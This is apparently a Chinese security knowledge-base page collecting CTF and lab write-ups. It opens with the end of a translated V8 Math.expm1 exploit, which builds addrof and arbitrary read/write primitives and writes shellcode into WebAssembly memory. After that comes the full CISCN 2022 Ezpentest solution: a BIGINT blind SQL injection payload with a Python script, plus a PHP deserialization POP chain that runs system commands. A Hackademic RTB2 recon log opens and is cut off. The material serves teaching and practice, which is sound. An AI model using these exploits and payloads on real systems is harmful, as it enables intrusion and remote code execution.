将保留对这三个对象的全局引用，以备以后使用。两个受害者的顺序不重要，只要他们在OOB数组之后。使用这种布局，可以使用原始数组OOB将OOB数组的长度破坏为一个较大的值。现在OOB数组通过普通的元素访问为我们提供了可重复的OOB。然后，可以使用面向对象的方法实现受害者对象的addrof原语，使用面向对象的方法实现受害者缓冲区的任意读/写。不需要fakeobj。

#### 构建原语

这就是我们所追求的堆布局:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/math-expm1-v84.png)

每个JavaScript数组是由两个堆对象: JSArray, 代表实际的JavaScript数组对象, 和一个FixedArray内部固定大小的数组类型用作后备存储器数组元素(这适用于数组没有或很少有洞,否则,就会降级为一个字典对象)。两者都有长度字段。对于JSArray，它是实际的JavaScript长度(在数组访问期间检查)。对于FixedArray，它是后备存储的长度，可以大于JavaScript数组的大小(在过度分配的情况下)。JSArray和FixedArray的顺序可能不同，但动态地找到它们，因此这无关紧要。

V8的堆是由一个bump分配器和一个分代垃圾收集器管理的(简单介绍, 例如,[here](https://v8.dev/blog/orinoco-parallel-scavenger)). 作为一个bump分配器，对象在内存中的顺序遵循分配的顺序，只要GC不移动太多的东西，所以它应该只是按照顺序分配对象。为了提高可靠性，将在堆上喷洒大量对象，并保持对这些对象的引用，以防止GC收集它们。这应该有助于线性化堆。

事实上，这种spray也是利用bug的一种副作用。必须在原点数组之后分配OOB数组和受害者，但在访问原点数组之前破坏OOB数组的长度。因此，分配必须是欺骗类型的函数的一部分(前面例子中的foo)。这将在循环中被多次调用，以强制JIT编译，因此将得到大量的分配。尝试使用一个标志来只分配在最后一次调用(-0)，但这搞砸了优化，无论如何想要一个spray。

这是我们的原语的完整计划:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/math-expm1-v85.png)

使用输入错误通过原始OOB破坏了OOB数组的长度。在那之后，就可以自由了: OOB数组现在可以让我们在任何需要的时候对其他对象进行OOB访问。这种构造只利用了一次bug，这是可取的，因为围绕它编写代码并不容易。OOB数组将是唯一长度为2的数组，它允许通过使用原始OOB在内存中扫描值2来动态地找到它的位置。这比使用固定偏移量更可靠，并且可以容忍堆布局的一些变化。注意，长度2在JSArray和FixedArray中都存在，但感兴趣的是查找和破坏JSArray的长度。OOB数组(0.4和0.5)的元素将作为标记来区分JSArray和支持的FixedArray。

一旦OOB数组被损坏，通过OOB对受害者对象构建addrof，并通过OOB对受害者缓冲区进行任意读/写，方法是更改其指向所需地址的反向指针。对象中有标记: 在受害者对象中有一个值为0x41414141的内联属性，在受害者缓冲区中有一个大小为0x41的属性。通过这种方式，可以通过从OOB数组读取这些标记来扫描内存来定位它们。

实现这个。将使用三个全局数组(arrs、obs和bufs)来存储喷洒的实例。为了处理64位整数，将使用实用程序[this exploit](https://gist.github.com/saelo/52985fe415ca576c94fc3f1975dbe837) by Samuel Groß.

函数照常启动，通过触发输入错误:

``` bash
let o = {mz: -0};
let b = Object.is(Math.expm1(x), o.mz);
```

然后分配对象，并将它们保存到全局数组中:

``` bash
let a = [0.1, 0.2, 0.3, 0.4]; // origin array
arrs.push([0.4, 0.5]); // OOB array
objs.push({marker: 0x41414141, obj: {}}); // victim object
bufs.push(new ArrayBuffer(0x41)); // victim buffer
```

现在可以搜索OOB数组，破坏JSArray的长度，这样就完成了:

``` bash
let new_size = (new Int64("7fffffff00000000")).asDouble()
for (let i = 4; i < 20; i++) {
    let val = a[b*i];
    let is_backing = a[b*(i+1)] === 0.4;
    let orig_size = Int64.fromDouble(val).toString();
    let good = (orig_size === "0x0000000200000000" && !is_backing);
    a[b*i*good] = new_size;
    if (good)
        break;
}
```

仔细看看这个。正如前面所说的，不能让它只在最后的-0调用时使用一个标记来破坏，所以它的结构在优化循环期间是无害的。然而，这将浪费循环，所以将循环迭代降低到10k(仍然足够优化)，以防止它变得太慢。

从第一个OOB索引(4)迭代到某个任意的限制(20)。当在当前索引处找到JSArray的长度时，布尔值good将为true。首先，检查当前索引处的值是否为2。由于对齐和字大小的差异，长度左移了32位。值2可以出现在两个地方: JSArray长度和相应的FixedArray长度。对JSArray感兴趣。知道FixedArray的长度后面跟着第一个元素(0.4)，所以通过查看下一个索引，可以确定是找到了JSArray还是FixedArray支持。最后，有两件事会发生a[b*i*good] = new_size:

 - 如果在优化循环中(b为false)或者没有查看JSArray的长度(good为false)，它将赋值给[0]，这是无害的;

 - 如果查看JSArray的长度，它将被设置为一个较大的值 (0x7fffffff).

一旦从-0调用返回，将(希望)在arrs中有一个长度损坏的数组，并且可以找到它:

``` bash
let oob_arr = null;
for (let i = 0; i < arrs.length; i++) {
    if (arrs[i].length !== 2) {
        oob_arr = arrs[i];
        break;
    }
}
```

现在是时候使用OOB数组来查找受害者对象，以及它的obj属性所在的OOB数组中的索引了。这是一个两步的过程。首先，寻找0x41414141标记属性，并将其更改为一个不同的值(0x42424242)。下一个索引是obj属性。

``` bash
let victim_obj = null;
let victim_obj_idx_obj = null;
for (let i = 0; i < 100; i++) {
    let val = Int64.fromDouble(oob_arr[i]).toString();
    if (val === "0x4141414100000000") {
        oob_arr[i] = (new Int64("4242424200000000")).asDouble();
        victim_obj_idx_obj = i + 1;
        break;
    }
}
```

由于有不同的标记，可以在obs中找到受害者对象(通过oob_arr的obj索引是受害者obj_obj_idx_obj):

``` bash
for (let i = 0; i < objs.length; i++) {
    if (objs[i].marker == 0x42424242) {
        victim_obj = objs[i];
        break;
    }
}
```

同样的两步过程也适用于寻找受害者缓冲区。这一次，寻找0x41长度，并将其更改为不同的大尺寸以进行标记(并不需要它那么大，但也没有什么坏处)。后备存储指针紧接在长度之后。

``` bash
let victim_buf = null;
let victim_buf_idx_ptr = null;
for (let i = 0; i < 100; i++) {
    let val = Int64.fromDouble(oob_arr[i]).toString();
    if (val === "0x0000000000000041") {
        oob_arr[i] = (new Int64("7fffffff")).asDouble();
        victim_buf_idx_ptr = i + 1;
        break;
    }
}
```

然后通过检查长度找到标记的受害者缓冲区:

``` bash
for (let i = 0; i < bufs.length; i++) {
    if (bufs[i].byteLength !== 0x41) {
        victim_buf = bufs[i];
        break;
    }
}
```

此时，已经拥有了构建原语所需的一切。例如，这是addrof:

``` bash
addrof(obj) {
    victim_obj.obj = obj;
    return Int64.fromDouble(oob_arr[victim_obj_idx_obj]);
}
```

它将对象引用赋值给受害者对象的obj字段，然后通过OOB数组读取指针。注意，V8中的指针是被标记的，以区别于小整数: 最低位总是被设置的，所以减去1就得到真正的地址。

这是任意的读/写:

``` bash
read(addr, size) {
    oob_arr[victim_buf_idx_ptr] = addr.asDouble();
    let a = new Uint8Array(victim_buf, 0, size);
    return Array.from(a);
},
write(addr, bytes) {
    oob_arr[victim_buf_idx_ptr] = addr.asDouble();
    let a = new Uint8Array(victim_buf);
    a.set(bytes);
}
```

这两种方法的第一行都使用OOB数组来更改受害者缓冲区的后备存储指针。然后，他们在ArrayBuffer的顶部创建一个Uint8Array以字节形式访问内存，并执行读/写操作。

在读写之外，还可以很容易地编写其他专用的原语，以方便使用, 把这个问题留给读者来解决。对于稍后将使用的代码执行漏洞，建议实现read32(读取32位整数)、read64(读取64位Int64)和write64(写入64位Int64)。

我们的原语现在已经实现并且稳定了。开始执行代码。

#### 代码执行

显然，NX是启用的，所以不能在 “普通” 内存区域做代码注入。从前，V8的JIT代码页拥有RWX权限。因此，可以简单地结合addrof和read来获取编译函数的代码地址，通过write用shellcode覆盖它，然后调用该函数。不幸的是，现在已经不是这样了[compilation flag](https://cs.chromium.org/chromium/src/v8/src/flag-definitions.h?rcl=dde25872f58951bb0148cf43d6a504ab2f280485&l=717)默认情况下，它将通过在RW和RX之间交替编写保护代码。

顺便说一句，这个标志实际上可以在运行时更改(有一个可写的副本)。能做到吗? 简短的回答: 不要浪费时间，有更好的方法(见下文)。长答案(需要V8内部知识): 标志缓存在堆实例中，可以通过MemoryChunk定位，可以通过从堆对象逐页向后扫描来找到有效的头。然而，更改标志将改变CodeSpaceMemoryModificationScope的语义，并且编译器试图写入RX内存时可能会崩溃。我想，如果让它分配一个新的MemoryChunk(可能通过使用大型代码对象空间?)，它可能会工作，但还必须担心后台编译和反优化, 在我看来很乱。

显然，唯一的选择是代码重用攻击(例如，ROP)。这将需要一个堆栈枢轴，或者找到一个合适的堆栈帧来损坏。我很懒，我喜欢更好的方式。幸运的是，JavaScript并不是V8中唯一需要编译的语言: 还有WebAssembly.[write-protect flag](https://cs.chromium.org/chromium/src/v8/src/flag-definitions.h?rcl=dde25872f58951bb0148cf43d6a504ab2f280485&l=543) 默认为false，因此编译后的WebAssembly代码为RWX。

可以编译一些WebAssembly代码，并通过addrof获得导出函数的JSFunction对象的地址:

``` bash
let wasm_code = new Uint8Array([...]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports.function_name;
let f_addr = prims.addrof(f);
```

现在，必须从这个JSFunction中获取编译后代码的地址。通过查看JS-to-Wasm包装器是如何内置的，可以找到答案[wasm-compiler.cc](https://cs.chromium.org/chromium/src/v8/src/compiler/wasm-compiler.cc?rcl=dde25872f58951bb0148cf43d6a504ab2f280485&l=4839) (并经过一些调试)。从JSFunction中，必须读取SharedFunctionInfo指针。然后，从共享的信息中，可以得到一个指向函数data的指针，它的类型是wasmexporttedfunctiondata。这里有需要的两个字段: 指向WasmInstanceObject的指针和函数索引。从WasmInstanceObject中，可以获得跳转表起始点的地址，当将该地址添加到函数索引时，将给出函数跳转表项的地址。它位于RWX代码内存中，是函数的入口点。将保留计算偏移量和将读取链写入阅读器(必须查看一些标题，这并不困难)。

一旦有了入口点地址，可以向它编写shellcode并调用该函数:

``` bash
let shellcode = [0xcc, 0x48, 0xc7, 0xc0, 0x37, 0x13, 0x00, 0x00];
prims.write(code_addr, shellcode);
f();
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/math-expm1-v86.png)

完美的结局.

#### Conclusion

这是我触发过的最严重的漏洞。这个漏洞本身是相当标准的 (关于最后一部分，我以前没有见过公开使用WebAssembly，但我相信其他人知道它)，但是愚弄typer绝对是一次冒险。离开的时候，对V8的内部结构有了一定的了解，虽然仍然有限，但已经比刚开始的时候好多了。希望您喜欢阅读这篇文章，尽管它相当长。一次又一次,[@_tsuro](https://twitter.com/_tsuro)对于第一次发现并利用这个bug: 这是一项可怕的工作!

#### 译自

 - [Exploiting the Math.expm1 typing bug in V8](https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/#javascript-exploitation-primitives)
<!-- kb:end Exploiting-the-Math-expm1-typing-bug-in-V8 -->

</details>




# SQL、NoSQL、HQL 与 XPath 注入

查询注入的可观察结果可能是返回内容、重定向、异常或时间差。本章汇总原文中的构造过程、字符过滤、数据库权限和应用调用，保留每种侧信道的请求与脚本。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/queries/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Ezpentest 的 BIGINT 错误与 Mango 的 MongoDB 运算符采用不同判断条件。

Writer 逐步确认 UNION 位置并读取源码，Pandora 直接影响服务端会话。

Unbalanced 的 XPath、SkyTower 的过滤和多个历史 CMS 的数据库行为各自留有验证记录。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [BIGINT 错误侧信道与 PHP POP 链](#case-ciscn-2022-ezpentest) | ciscn-2022-ezpentest | SQL注入、PHP、POP链、GC |
| [注入、数据库文件写入与替代入口](#case-hackademic-rtb2) | Hackademic-RTB2 | SQL注入、MySQL、phpMyAdmin |
| [登录查询与 MySQL UDF 权限](#case-kioptrix4) | Kioptrix4 | SQL注入、MySQL、UDF |
| [CMS 查询与管理配置](#case-kvm3) | KVM3 | SQL注入、CMS、sudo |
| [SQL 数据到 udev 进程](#case-lampsecurity-ctf6) | LAMPSecurity-CTF6 | SQL注入、udev、进程权限 |
| [MongoDB 运算符与响应侧信道](#case-mango) | mango | NoSQL注入、MongoDB、响应侧信道 |
| [SNMP 凭据与控制台会话注入](#case-pandora) | pandora | SNMP、SQL注入、CVE-2021-32099 |
| [过滤差异与代理内 SSH](#case-skytower-1) | SkyTower-1 | SQL注入、Squid、受限Shell |
| [EncFS 配置与 XPath 查询](#case-unbalanced) | Unbalanced | XPath、EncFS、Squid |
| [OpenDocMan 参数与替代提权](#case-vulnos-2) | vulnos-2 | SQL注入、OpenDocMan、OverlayFS |
| [UNION 读取与应用命令边界](#case-writer) | writer | SQL注入、Python、邮件、APT |

<a id="case-ciscn-2022-ezpentest"></a>

## BIGINT 错误侧信道与 PHP POP 链

原文用 BIGINT 溢出区分响应，再还原 phpjiami 代码并分析 autoload 与 GC 触发顺序。盲注和对象链分别保留完整输入与脚本。

<p class="kb-provenance">来源 ciscn-2022-ezpentest · 原记录 2023-06-29 · 17 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-ciscn-2022-ezpentest">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start ciscn-2022-ezpentest -->

#### 介绍

最近在ichunqiu CTF大本营刷题的时候碰到一道高质量的web题，比赛中还算是web里难度比较大的。网上已经有很多公开的writeup，但是为了加深理解记忆，故记录一篇blog。

 - 复现链接: [第十五届全国大学生信息安全竞赛——创新实践能力赛 Ezpentest](https://www.ichunqiu.com/battalion?t=1&r=72291)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/ezpentest2.png)



#### sql盲注绕正则

waf:

``` bash
<?php
function safe($a) {
    $r = preg_replace('/[\s,()#;*~\-]/','',$a);
    $r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
    return (string)$r;
  }
?>
```

构造payload:

``` bash
"xxx'||case'1'when`username`like'{}%'COLLATE`utf8mb4_0900_bin`then+9223372036854775807+1+''else'1'end||'xxx"
```

 - 因为过滤了空格和其他空白字符，有因为case和then之间必须有空格，所以使用'1'。而且分号内的字符必须为数字且不为0，这样case when才能正常发挥作用

 - 利用like去正则匹配username这一列的数据，如果匹配到就返回9223372036854775807+1 这个表达式，而这个表示执行后会导致数据溢出，服务器会报500，否则就返回'1'，服务器会报error

 - +''是因为过滤了空白符号，所以用来连接起sql语句的，这里的数据溢出同样可以用18446744073709551615+1，这个18446744073709551615的值其实就是~0，也就是说这个payload其实就是~0+1

 - 参考[MySQL 的 BIGINT 报错注入](https://www.tr0y.wang/2018/06/18/MySQL%E7%9A%84BIGINT%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/)

 - utf8mb4_0900_bin是用来区分大小写的，因为like正则匹配是不区分大小写的

 - case用来解决优先级问题

 - 盲注脚本 (python2):

``` bash
import requests

burp0_url = "http://eci-2ze2replbpornl6bilrn.cloudeci1.ichunqiu.com/login.php"
burp0_cookies = {"PHPSESSID": "gmqmv74c2fq6s65mqi8kk4q02h"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://eci-2ze2replbpornl6bilrn.cloudeci1.ichunqiu.com/", "Connection": "close", "Referer": "http://eci-2ze2replbpornl6bilrn.cloudeci1.ichunqiu.com/", "Upgrade-Insecure-Requests": "1"}

flag = ''
black_list = ",()#;*~\-'"

while True:
    for j in range(33, 128):
        if chr(j) in black_list:
            continue

        if j == 95 or j == 37:
            y = '\\' + chr(j)
        else:
            y = chr(j)
        burp0_data = {
            "username": "xxx'||case'1'when`username`like'{}%'COLLATE`utf8mb4_0900_bin`then+9223372036854775807+1+''else'1'end||'xxx".format(
                flag + y),
            "password": "aaa"}
        res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
        print chr(j) + " : " + str(res.status_code)
        if res.status_code == 500:
            if j == 95 or j == 37:
                flag += '\\' + chr(j)
            else:
                flag += chr(j)
            print flag
            break
        if j == 127:
            print flag.replace("\\", '')
            exit(0)
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/ezpentest.png)

跑密码时，把脚本里的username改成password即可

``` bash
burp0_data = {
    "username": "xxx'||case'1'when`password`like'{}%'COLLATE`utf8mb4_0900_bin`then+9223372036854775807+1+''else'1'end||'xxx".format(
        flag + y),
    "password": "aaa"}
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/ezpentest1.png)

 - 得到账号密码

```
账号：nssctfwabbybaboo!@$%!!
密码：PAssw40d_Y0u3_Never_Konwn!@!!
```

成功登录

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/ezpentest3.png)

#### 解phpjiami混淆

登陆后发现混淆代码，提示有一个1Nd3x_Y0u_N3v3R_Kn0W.php，直接访问这个文件

``` bash
<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}

?>
```

主页面本身是一段混淆之后的代码，查看源码发现是由phpjiami混淆

使用python3的pwntools+gzip库将页面保存为pop.php

``` bash
import gzip
from pwn import *
import time

p = remote("eci-2zedg0a5ogrt1nxd4li0.cloudeci1.ichunqiu.com", 80)
msg = """POST /login.php HTTP/1.1
Host: eci-2zedg0a5ogrt1nxd4li0.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
Origin: http://eci-2zedg0a5ogrt1nxd4li0.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zedg0a5ogrt1nxd4li0.cloudeci1.ichunqiu.com/
Cookie: PHPSESSID=ur039pnm15u784vdnh6gdg13er
Upgrade-Insecure-Requests: 1

username=awk785969awlfjnlkjlii%21%40%24%25%21%21&password=PAssw40d_Y0u3_Never_Konwn%21%40%21%21"""
p.send(msg.encode())
time.sleep(1)
byte = p.recv()
start = byte.find(b"\r\n\r\n") + 4
byte = byte[start:]
with open("pop.php", "wb") as f:
    f.write(gzip.decompress(byte))
    f.close()
```

然后使用以下解密脚本

 - [phpjiami网站解密脚本](https://github.com/wenshui2008/phpjiami_decode)

``` bash
root@fdvoid0:/mnt/d/1.online-ctfs/ichunqiu/15th/Ezpentest/phpjiami_decode-master# php phpjiami.php
﻿./encode/pop.php<br>
```

解密后:

``` bash
<?php
session_start();
if(!isset($_SESSION['login'])){
    die();
}
function Al($classname){
    include $classname.".php";
}

if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    $o = unserialize($c);
    if($o === false) {
        die("Error Format");
    }else{
        spl_autoload_register('Al');
        $o = unserialize($c);
        $raw = serialize($o);
        if(preg_match("/Some/i",$raw)){
            throw new Error("Error");
        }
        $o = unserialize($raw);
        var_dump($o);
    }
}else {
    echo file_get_contents("SomeClass.php");
}

```

spl_autoload_register的作用就是把后面反序列化不存在的类所在的文件加载进来，具体的原理可以参考这个文章:

 - [关于PHP中spl_autoload_register()函数用法详解](https://www.php.cn/php-weizijiaocheng-400053.html)

当不带传参数a访问1Nd3x_Y0u_N3v3R_Kn0W.php这个文件就能拿到了SomeClass.php的文件内容

#### 反序列化POP链构造(php GC回收机制)

POP链也很简单，die里面是字符串处理的，让a为对象会触发__toString方法

``` bash
E::__destruct()
↓↓↓
B::__toString()
↓↓↓
A::see()
```

``` bash
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
```

利用这个类的__toString方法

``` bash
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
```

然后到see()这个类，这里只需要让b为原生类，a参数和b参数都是可控的就可以rce了

``` bash
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
```

链子的触发点就是刚刚那个1Nd3x_Y0u_N3v3R_Kn0W.php文件，但是这里如果我们想把那个可以rce的文件包含进来的，就要创建的是一个SomeClass的类，但是这里是会进行过滤的。

``` bash
if(preg_match("/Some/i",$raw)){
    throw new Error("Error");
}
```

这样如果我们包含这个类，就会抛出错误从而终止程序，使__destruct()无法执行，这样我们的链子就没有用了。
所以我们要提前调用__destruct(),在包含SomeClass类的同时就进入__destruct()，使用gc回收机制来提前触发__destruct()

***PHP Garbage Collection简称GC，又名垃圾回收，在PHP中使用引用计数和回收周期来自动管理内存对象的。
垃圾，顾名思义就是一些没有用的东西。在这里指的是一些数据或者说是变量在进行某些操作后被置为空(NULL)或者是没有地址(指针)的指向，这种数据一旦被当作垃圾回收后就相当于把一个程序的结尾给划上了句号，那么就不会出现无法调用__destruct()方法了***

 - [浅析GC回收机制与phar反序列化](http://arsenetang.com/2021/11/28/%E6%B5%85%E6%9E%90GC%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6%E4%B8%8Ephar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/)

把i本应该等于1修改为i = 0。就是把i = 0指向NULL了，从而实现了GC回收。

其实还有一种方法提前进入destrust的，就是利用fastdestrust，就传一个损坏的序列化数据就行了，比如O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;，就是把后面 } 的符号去掉就行，但是这里有对序列化数据格式正确与否进行校验，所以这里采用的是gc回收机制

 - rce.php

``` bash
<?php

class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        die($this->a);
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}

class SomeClass{
    public $a;
}

$e = new E();
$a = new A();
$b = new B();

$e->a = $b;
$b->a = $a;
$arr = new ArrayObject();//换其他原生类都行error啥的都可以
$arr->a = "system";
$arr->b = "cat /flag.txt";
$a->b = $arr;
$c = new SomeClass();
$c->a = $e;
echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));
```

生成rce chain

``` bash
root@fdvoid0:/mnt/d/1.online-ctfs/ichunqiu/15th/Ezpentest# php rce.php
a%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SomeClass%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22E%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BC%3A11%3A%22ArrayObject%22%3A71%3A%7Bx%3Ai%3A0%3Ba%3A0%3A%7B%7D%3Bm%3Aa%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22b%22%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3BN%3B%7Ds%3A1%3A%22b%22%3BN%3B%7D%7Di%3A0%3Bi%3A0%3B%7D
```

访问以下url，获取flag:

``` bash
http://eci-2zedg0a5ogrt1nxd4li0.cloudeci1.ichunqiu.com/1Nd3x_Y0u_N3v3R_Kn0W.php?a=a%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SomeClass%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22E%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BC%3A11%3A%22ArrayObject%22%3A71%3A%7Bx%3Ai%3A0%3Ba%3A0%3A%7B%7D%3Bm%3Aa%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22b%22%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3BN%3B%7Ds%3A1%3A%22b%22%3BN%3B%7D%7Di%3A0%3Bi%3A0%3B%7D
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/ezpentest4.png)


#### 参考链接
 - [[2022 CISCN]初赛 web题目复现 ezpentest](https://blog.csdn.net/cosmoslin/article/details/125598409?spm=1001.2101.3001.6650.10&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-10-125598409-blog-125064802.235%5Ev38%5Epc_relevant_anti_vip_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-10-125598409-blog-125064802.235%5Ev38%5Epc_relevant_anti_vip_base&utm_relevant_index=11)
 - [2022 CISCN Web Ezpentest 详解](https://mp.weixin.qq.com/s/vTF9ArXKp4RCFQPl6mOGkA)
 - [CISCN2022 Ezpentest Writeup](https://erroratao.github.io/2022/05/30/CISCN2022_Ezpentest/)
 - [[CISCN 2022 初赛]ezpentest](https://blog.csdn.net/weixin_52585514/article/details/125985176)
 - [浅析GC回收机制与phar反序列化](http://arsenetang.com/2021/11/28/%E6%B5%85%E6%9E%90GC%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6%E4%B8%8Ephar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/)
 - [CISCN(Web Ezpentest)GC、序列化、case when](https://blog.csdn.net/qq_62046696/article/details/129072803)
 - [CISCN 2022 初赛 web 复现 ezpentest](https://blog.csdn.net/shinygod/article/details/127866492)
 - [ciscn2022 Ezpentest](https://www.viewofthai.link/2022/06/05/%E5%9B%BD%E8%B5%9B-%E7%BA%BF%E4%B8%8A%E5%88%9D%E8%B5%9B-ciscn-2022-web-%E9%83%A8%E5%88%86wp/)

<!-- kb:end ciscn-2022-ezpentest -->

</details>

<a id="case-hackademic-rtb2"></a>

## 注入、数据库文件写入与替代入口

SQL 注入、phpMyAdmin 和 Web 上传构成不同入口分支。保留端口重新扫描、数据库权限及各自取得执行的方式。

<p class="kb-provenance">来源 Hackademic-RTB2 · 原记录 2019-12-12 · 20 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-hackademic-rtb2">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Hackademic-RTB2 -->

名称：Hackademic: RTB2
发布日期：2011年9月6日

#### 下载

 - Download (Mirror): [https://download.vulnhub.com/hackademic/Hackademic.RTB2.zip](https://download.vulnhub.com/hackademic/Hackademic.RTB2.zip)
 - Download (Torrent): [https://download.vulnhub.com/hackademic/Hackademic.RTB2.zip.torrent](https://download.vulnhub.com/hackademic/Hackademic.RTB2.zip.torrent)

描述：

这是mr.pr0n提出的第二个现实黑客攻击挑战
下载目标并获得root。
毕竟，尝试读取根目录中文件“ key.txt”的内容。
请享用！

漏洞：

 - 纯文本密码
 - 特权提升
 - SQL注入
 - 不受限制地上传危险类型的文件



#### 信息收集

老规矩上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.84.0/24
Nmap scan report for 192.168.84.142
Host is up (0.00022s latency).
MAC Address: 00:0C:29:74:B5:21 (VMware)

root@kali:~# nmap -A -v -sS -Pn -T4 --script=vuln 192.168.84.142
80/tcp  open     http    Apache httpd 2.2.14 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.84.142
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.84.142:80/
|     Form id: username
|_    Form action: check.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /phpmyadmin/: phpMyAdmin
